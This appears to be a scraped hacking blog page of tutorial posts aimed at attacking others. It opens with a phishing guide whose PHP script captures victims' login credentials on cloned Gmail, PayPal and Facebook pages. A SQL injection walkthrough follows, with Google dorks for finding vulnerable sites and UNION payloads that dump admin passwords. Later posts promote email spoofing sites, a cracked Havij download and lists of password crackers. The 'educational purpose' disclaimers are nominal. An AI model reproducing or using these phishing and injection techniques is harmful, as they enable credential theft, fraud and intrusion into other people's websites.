How to creating a fake ( Phishing ) page of gmail, paypal, facebook ,yahoo, etc

Enough about Android now we should move on to hacking. Phishing has become a very easy to use trick to hack usernames and passwords of users. Here i am going to demonstrate how to create a fake phishing page for almost any social networking site , email or any other site that has a login form.

For this trick you would need a hosting account , you can get that easily.

Register yourself at t35, host1free, 110mb etc.

Note- 110mb checks for phishing page on their site and removes them.

So now u have a hosting account so lets create a fake page-

First go to the target site. In your browser select Save As from the File menu and save the site on

 your hardisk with name "login.htm" .

or alternatively right click on the page and click "view source" and copy all of it and save them to a notepad file. Rename the file with "login.htm".

Now the second part of the hack-

Go to Notepad and copy this into it-

<?php

header ('Location: http://www.facebook.com');

$handle = fopen("log.txt", "a");

foreach($_POST as $variable => $value)

 {

   fwrite($handle, $variable);

   fwrite($handle, "=");

   fwrite($handle, $value);

   fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

?>

Replace facebook.com with the URL you want the user to go after he click on submit button.

Save the page as fish.php

Now you need to edit the "login.htm" file we save earlier. So go to that and open it with notepad.

now search for any htm like "action=" which has something with login. And replace the URL with "fish.php".

Also create a blank txt file with name "log.txt". This file would be used to save your logins and passwords.

Now you are done,

Go to your hosting account and upload all the files to your server.

Now go to the URL provided by your host.

Like - http://g00glepage.t35.com/login.htm

And you would see the fake page as it is.

Now enter the username and password.

Check the log.txt file. The password and username you entered previously would be saved in the log.txt file including other details such as time stamp.

Here you have a working phishing page

Note:- For this trick require website on which you have to put three file fish.php,login.html,log.txt (where your password will be store). This tutorial is for educational purpose only.

Read More

Step By Step Guide For - Hacking Website Using SQL Injection

Before we see what  SQL Injection is. We should know what SQL and Database are.

Database:
Database is collection of data. In website point of view, database is used for storing user ids,passwords,web page details and more.



Some List of Database are:

* DB servers,
* MySQL(Open source),
* MSSQL,
* MS-ACCESS,
* Oracle,
* Postgre SQL(open source),
* SQLite,



SQL:
Structured Query Language is Known as SQL. In order to communicate with the Database ,we are using SQL query. We are querying the database so it is called as Query language.

Definition from Complete reference:

SQL is a tool for organizing, managing, and retrieving data stored by a computer
database. The name "SQL" is an abbreviation for Structured Query Language. For
historical reasons, SQL is usually pronounced "sequel," but the alternate pronunciation
"S.Q.L." is also used. As the name implies, SQL is a computer language that you use to
interact with a database. In fact, SQL works with one specific type of database, called a
relational database.

Simple Basic Queries for SQL:

Select * from table_name :
this statement is used for showing the content of tables including column name.
For eg:
select * from users;

Insert into table_name(column_names,...) values(corresponding values for columns):
For inserting data to table.
For eg:
insert into users(username,userid) values("BreakTheSec","break");

I will give more detail and query in my next thread about the SQL QUERY.

What is SQL Injection?
SQL injection is Common and famous method of hacking at present . Using this method an unauthorized person can access the database of the website. Attacker can get all details from the Database.

What an attacker can do?

* ByPassing Logins
* Accessing secret data
* Modifying contents of website
* Shutting down the My SQL server

Now let's dive into the real procedure for the SQL Injection.
Follow my steps.

Step 1: Finding Vulnerable Website:
Our best partner for SQL injection is Google. We can find the Vulnerable websites(hackable websites) using Google Dork list. google dork is searching for vulnerable websites using the google searching tricks. There is lot of tricks to search in google. But we are going to use "inurl:" command for finding the vulnerable websites.

Some Examples:
inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=

How to use?
copy one of the above command and paste in the google search engine box.
Hit enter.
You can get list of web sites.
We have to visit the websites one by one for checking the vulnerability.
So Start from the first website.


Note:if you like to hack particular website,then try this:
site:www.victimsite.com dork_list_commands
for eg:

site:www.victimsite.com inurl:index.php?id=

 Step 2: Checking the Vulnerability:
Now we should check the vulnerability of websites. In order to check the vulnerability ,add the single quotes(') at the end of the url and hit enter. (No space between the number and single quotes)

For eg:

http://www.victimsite.com/index.php?id=2'

 If the page remains in same page or showing that page not found or showing some other webpages. Then it is not vulnerable.

If it showing any errors which is related to sql query,then it is vulnerable. Cheers..!!
For eg:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Step 3: Finding Number of columns:
Now we have found the website is vulnerable. Next step is to find the number of columns in the table.
For that replace the single quotes(') with "order by n" statement.(leave one space between number and order by n statement)

Change the n from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ".

For eg:

http://www.victimsite.com/index.php?id=2 order by 1
http://www.victimsite.com/index.php?id=2 order by 2
http://www.victimsite.com/index.php?id=2 order by 3
http://www.victimsite.com/index.php?id=2 order by 4

 change the number until you get the error as "unknown column"

if you get the error while trying the "x"th number,then no of column is "x-1".

I mean:

http://www.victimsite.com/index.php?id=2 order by 1(noerror)
http://www.victimsite.com/index.php?id=2 order by 2(noerror)
http://www.victimsite.com/index.php?id=2 order by 3(noerror)
http://www.victimsite.com/index.php?id=2 order by 4(noerror)
http://www.victimsite.com/index.php?id=2 order by 5(noerror)
http://www.victimsite.com/index.php?id=2 order by 6(noerror)
http://www.victimsite.com/index.php?id=2 order by 7(noerror)
http://www.victimsite.com/index.php?id=2 order by 8(error)
 

 so now x=8 , The number of column is x-1 i.e, 7.

Sometime the above may not work. At the time add the "--" at the end of the statement.
For eg:

http://www.victimsite.com/index.php?id=2 order by 1--

Step 4: Displaying the Vulnerable columns:
Using "union select columns_sequence" we can find the vulnerable part of the table. Replace the "order by n" with this statement. And change the id value to negative(i mean id=-2,must change,but in some website may work without changing).

Replace the columns_sequence with the no from 1 to x-1(number of columns) separated with commas(,).

For eg:
if the number of columns is 7 ,then the query is as follow:

http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

If the above method is not working then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7--

It will show some numbers in the page(it must be less than 'x' value, i mean less than or equl to number of columns).

Like this:



Now select 1 number.
It showing 3,7. Let's take the Number 3.

Step 5: Finding version,database,user
Now replace the 3 from the query with "version()"

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7--

It will show the version as 5.0.1 or 4.3. something like this.

Replace the version() with database() and user() for finding the database,user respectively.

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7--

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7--

If the above is not working,then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--

Step 6: Finding the Table Name
 if the version is 5 or above. Then follow these steps.  Now we have to find the table name of the database. Replace the 3 with "group_concat(table_name) and add the "from information_schema.tables where table_schema=database()"

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

 Now it will show the list of table names. Find the table name which is related with the admin or user.




Now select the "admin " table.

if the version is 4 or some others, you have to guess the table names. (user, tbluser).  It is hard and bore to do sql inection with version 4.

Step 7: Finding the Column Name

Now replace the "group_concat(table_name) with the "group_concat(column_name)"

Replace the "from information_schema.tables where table_schema=database()--" with "FROM information_schema.columns WHERE table_name=mysqlchar--

Now listen carefully ,we have to find convert the table name to MySql CHAR() string and replace mysqlchar with that .

Find MysqlChar() for Tablename:
First of all install the HackBar addon:
https://addons.mozilla.org/en-US/firefox/addon/3899/
Now
select sql->Mysql->MysqlChar()

This will open the small window ,enter the table name which you found. i am going to use the admin table name.

click ok

Now you can see the CHAR(numbers separated with commans) in the Hack toolbar.


Copy and paste the code at the end of the url instead of the "mysqlchar"
For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)--

Now it will show the list of columns.
like admin,password,admin_id,admin_name,admin_password,active,id,admin_name,admin_pas ​ s,admin_id,admin_name,admin_password,ID_admin,admin_username,username,password..etc..


Now replace the replace group_concat(column_name) with group_concat(columnname,0x3a,anothercolumnname).

Columnname should be replaced from the listed column name.
anothercolumnname should be replace from the listed column name.


Now replace the " from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)" with the "from table_name"

For eg:

http://www.victimsite.com/index.php?id=-2
and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin--

Sometime it will show the column is not found.
Then try another column names

Now it will Username and passwords.

Enjoy..!!cheers..!!

If the website has members then jock-bot for you. You will have the list of usernames and password.
Some time you may have the email ids also,enjoy you got the Dock which can produce the golden eggs.

Step 8: Finding the Admin Panel:
Just try with url like:

http://www.victimsite.com/admin.php
http://www.victimsite.com/admin/
http://www.victimsite.com/admin.html
http://www.victimsite.com:2082/

etc.
If you have luck ,you will find the admin page using above urls .

or you can try some software for that like haviji which is on my website too ( cracked version )

Note: This is just for educational purpose only. Discussing or Reading about thief technique is not crime but implementing is.

If you want more such articles than stay updated by joining us on our facebook page.

Read More

Art Of Email Spoofing : Fake Email Generation

Welcome to the era of  trickery, where  you may be able to trust your some friends, but can no longer trust their e-mails. Identity theft is quickly becoming the biggest issue when it comes to e-mail, and it has a name: e-mail spoofing. 

Email spoofing is an act by which you can send mail pretending to come from any fake address( For example 'support@microsoft.com', 'admin@facebook.com' etc.). No matter if you have access to the  sender address or not, even no matter if the sender address exists or not. It is a very common strategy used among hackers and spammers. It is becoming so common that you can no longer take for granted that the e-mail you are receiving is truly from the person identified as the sender.




How does it work?
Email spoofing is done by altering the original 'sender email id', 'sender name' and other parts of the mail. This is because SMTP does not support any type of authentication.


There are many ways to do so, some are as following:
1. Using Command prompt
2. Using email desktop services like Outlook
3. Using Websites offering mail spoofing
4. Using php scripts, to built own mail spoofing website.




Some sites that offer mail spoofing, so that you can do some experiments and can understand about it. Some sites are :

1. http://emkei.cz/ (with advanced options)
2. http://deadfake.com/Send.aspx 

Note: These sites are tested and working fine for gmail.


 NOTE: This article is for educational purpose only. We are not responsible for any kind of harm you make to yourself or others.

Read More

Download Havij 1.5 Full Cracked

Havij 1.5 is one of the most advanced SQL injection tool. It is an automated SQL  injection tool that helps penetration tester to find and exploit sql injection vulnerability in a web page.

Features of the software :

• Back-End database finger printing
• Retrieve DBMS users
• Retrieve password hashes
• Coun the no of columns
• Fetching data from the database
• Running sql statements
• accesing underlying file system

The power of Havij that make it different from others sql injecting tool is its injecting methods. its success rate is above 95%. The user friendly GUI of havij and its automated setting and detection make it easy to use to everyone .

Download info :
File size : 2.83mb
Download link : mediafire

In my next post i will give you a tutorial on Havij. So stay connected................

Read More

How To Hack Windows Login Password | How To Recover Windows Password

What will you do if you forget your windows password ? . The first thing which you will do is to start your PC in safe mode and then check whether your administrator password is empty or not if it is empty then you are lucky enough to access to the computer by enabling safe mode and then using command prompt to know more click here but what if you have administrator password already in place. you may be thinking that format your windows and intall a fresh windows Xp, vista or whatever.

Well here, I'm going to tell you how to recover your login password in a few minutes without instaling anything in your pc or without breaking your head. well if you are interested in knowing how to reset your password using safe mode option  then try this post reset using safe mode.

here we will use a software called oph crack. which is an open source (GPL licensed) program that cracks Windows passwords by using LM hashes through rainbow tables. But you may be thinking whether it is a legal one. Yes it is completely legal according to Wikipedia. But you should not use this software for illegal purposes like unauthorized access to other’s system. I have tried this method in Windows XP, Windows Vista, and Windows 7 ultimate and it works perfectly fine for an alphanumeric password length up to 14.
The method is a very simple one. You just need to download the software which is 452MB for XP and 532MB for Vista or Windows 7. Ophcrack comes in bootable Live CD 2.1.0 ISO and installation files. Here we will be using the Live CD method where no installation is required. Follow the steps below:
Step 1: Download the ISO File For Ophcrack Live CD 2.1.0 From the links below: (Choose according to your operating system)
Windows XP:
Size: 452 MB
http://downloads.sourceforge.net/ophcrack/ophcrack-xp-livecd-2.1.0.iso
Windows Vista or 7:
Size: 532 MB
http://downloads.sourceforge.net/ophcrack/ophcrack-vista-livecd-2.1.0.iso

 Step 2: After the download is completed successfully burn the ISO file to a CD using a burning software. ISO files can be directly burnt (Just open with burners like Nero etc.). You should not use data mode or any other mode to burn. The CD is a bootable one. But if you do not want to use a CD, you can very well use a USB Flash Drive to run the program. Click here To see the USB Boot Technique.

Step 3: Insert the CD to your CD/DVD drive. Restart the System. You need to set the boot order to Boot from CD as the first option if you have not set CD drive as the first option. To do this you need to go to bios setup and change the order. For most of the systems the keys like DELETE, F10, F2, F12 etc are used for going to the Bios setup. But here I have used the Boot Menu Key which will show the available boot options during start up. For my System(Dell Vostro) the boot menu key is F12. For Compaq Systems it is usually F9. So if you know the Boot menu key then no need to change the order. Just Select CD/DVD ROM from the menu.

Step 4: After booting from the Live CD, wait for it to load and select Ophcrack VESA mode(Recommended). If you have a graphics card you can try Graphics Mode.

Step 5: If you have more than one partition containing the password hashes it will ask you to select one. But most of the computers will have only one hash partition, so you may not see this step. Select any partition and try if it asks you as shown below.

Step 6: Wait for Ophcrack to run and find your password. After getting the password you need,you can simply click exit even if the progress is not 100%. No need to wait till end.

Here I had set the password as bcoders. It took around 1 min 20 sec to find this password.
Step 7: After the process it will ask you to press any key to exit Ophcrack. Then Type ‘y’ to shutdown the System.

Now start your system. Enter the password you have found. And that’s it, see how simple it is!

NOTE: There is no official version for windows 7 but Vista version will do your job.

This is for information purposes only. We are not responsible for any damages or illegal acts resulting from this information.

Read More

Download BlackTrack 5 R1

BackTrack 5 R1 is now available for download. This version is an update release to the original BackTrack 5 operating system released on May 10th, 2011, and it brings over 100 bugs fixes, over 30 new scripts and 70 tools updated, and lots of other general improvements. 

Overview

Backtrack is a Linux based Open-source operating system primerly used by security professionals and hackers community. Backtrack is intended for all audiences from the most savvy security professionals to early newcomers to the information security field. If u are about to use blacktrack first time, then i advice you to make a live cd of your blacktrack version.

  
Key features of BackTrack 5 R1: (August 18th, 2011)
Here are some key features of BackTrack 5 R1:

• Based on Ubuntu 10.04 LTS
• Linux kernel 2.6.39.4 (with wireless injection patches)
• KDE 4.6
• GNOME 2.6
• 32-bit, 64-bit and ARM support
• Metasploit 3.7.0
• Forensics mode (a forensically sound instance)
• Stealth mode (without generating network traffic)
• Initial ARM image of BackTrack (for Android-powered devices)
• ...and many more!

How to download BackTrack 5 R1:
Visit http://www.backtrack-linux.org/downloads/ to download blacktrack 5 webpage.

Read More

Password Cracker

Cain and Abel :- The top password recovery tool for Windows. This Windows-only password recovery tool handles an enormous variety of tasks. It can recover passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols. Home:- http://www.oxid.it Latest Release:- cain & abel v4.9.40 Download:- http://www.oxid.it/cain.html

John the Ripper :- A powerful, flexible, and fast multi-platform password hash cracker. John the Ripper is a fast password cracker, currently available for many flavors of Unix, DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. It supports several crypt(3) password hash types which are most commonly found on various Unix flavors, as well as Kerberos AFS and Windows NT/2000/XP LM hashes. Several other hash types are added with contributed patches. Home:- http://www.openwall.com Latest Release:- John the Ripper 1.7 Download:- http://www.openwall.com/john/

THC Hydra :- A Fast network authentication cracker which support many different services. When you need to brute force crack a remote authentication service, Hydra is often the tool of choice. It can perform rapid dictionary attacks against more then 30 protocols, including telnet, ftp, http, https, smb, several databases, and much more. Home:- http://www.thc.org Latest Release:- THC-Hydra v5.4 Download:- http://freeworld.thc.org/thc-hydra/

L0phtcrack :- Windows password auditing and recovery application L0phtCrack, also known as LC5, attempts to crack Windows passwords from hashes which it can obtain (given proper access) from stand-alone Windows NT/2000 workstations, networked servers, primary domain controllers, or Active Directory. In some cases it can sniff the hashes off the wire. It also has numerous methods of generating password guesses (dictionary, brute force, etc). Home:- Not Available Latest Release:- L0phtcrack v5.04 Download:- http://download.insecure.org/stf/lc5-setup.exe                   http://download.insecure.org/stf/lc5-crack.zip (keygen)

Pwdump :- Windows password recovery tool. Pwdump is able to extract NTLM and LanMan hashes from a Windows target, regardless of whether Syskey is enabled. It is also capable of displaying password histories if they are available. It outputs the data in L0phtcrack-compatible form, and can write to an output file. Home:- http://www.foofus.net/fizzgig/pwdump Latest Release:- pwdump6 version 1.7.2 Download:- http://swamp.foofus.net/fizzgig/pwdump/downloads.htm

RainbowCrack :- An Innovative Password Hash Cracker. The RainbowCrack tool is a hash cracker that makes use of a large-scale time-memory trade-off. A traditional brute force cracker tries all possible plaintexts one by one, which can be time consuming for complex passwords. RainbowCrack uses a time-memory trade-off to do all the cracking-time computation in advance and store the results in so-called "rainbow tables". It does take a long time to precompute the tables but RainbowCrack can be hundreds of times faster than a brute force cracker once the precomputation is finished. Home:- http://www.antsight.com Latest Release:- rainbowcrack v1.2 Download:- http://www.antsight.com/zsl/rainbowcrack/

Brutus :- A network brute-force authentication cracker This Windows-only cracker bangs against network services of remote systems trying to guess passwords by using a dictionary and permutations thereof. It supports HTTP, POP3, FTP, SMB, TELNET, IMAP, NTP, and more. Home:- http://www.hoobie.net Latest Release:- brutus-aet2 Download:- http://www.hoobie.net/brutus/brutus-download.htm

Read More

Best Port Scanners For Hacking

Nmap :- This tool developed by Fyodor is one of the best unix and windows based port scanners. This advanced port scanner has a number of useful arguments that gives user a lot of control over the process. Home:- http://www.insecure.org Latest Release:- Nmap 5.50 Download:- http://nmap.org/download.html

Superscan :- A Windows-only port scanner, pinger, and resolver SuperScan is a free Windows-only closed-source TCP/UDP port scanner by Foundstone. It includes a variety of additional networking tools such as ping, traceroute, http head, and whois. Home:- http://www.foundstone.com Latest Release:- SuperScan v4.0 Download:- http://www.foundstone.com/us/resources/proddesc/superscan4.htm

Angry IP Scanner :- A fast windows IP scanner and port scanner. Angry IP Scanner can perform basic host discovery and port scans on Windows. Its binary file size is very small compared to other scanners and other pieces of information about the target hosts can be extended with a few plugins. Home:- http://www.angryziber.com [sourceforge.net] Latest Release:- IPScan 3.0-beta3 Download:- http://www.angryziber.com/w/Download

Unicornscan :- Unicornscan is an attempt at a User-land Distributed TCP/IP stack for information gathering and correlation. It is intended to provide a researcher a superior interface for introducing a stimulus into and measuring a response from a TCP/IP enabled device or network. Some of its features include asynchronous stateless TCP scanning with all variations of TCP flags, asynchronous stateless TCP banner grabbing, and active/passive remote OS, application, and component identification by analyzing responses. Home:- http://www.unicornscan.org Latest Release:- Unicornscan 0.4.7-2 Download:- http://www.unicornscan.org

Read More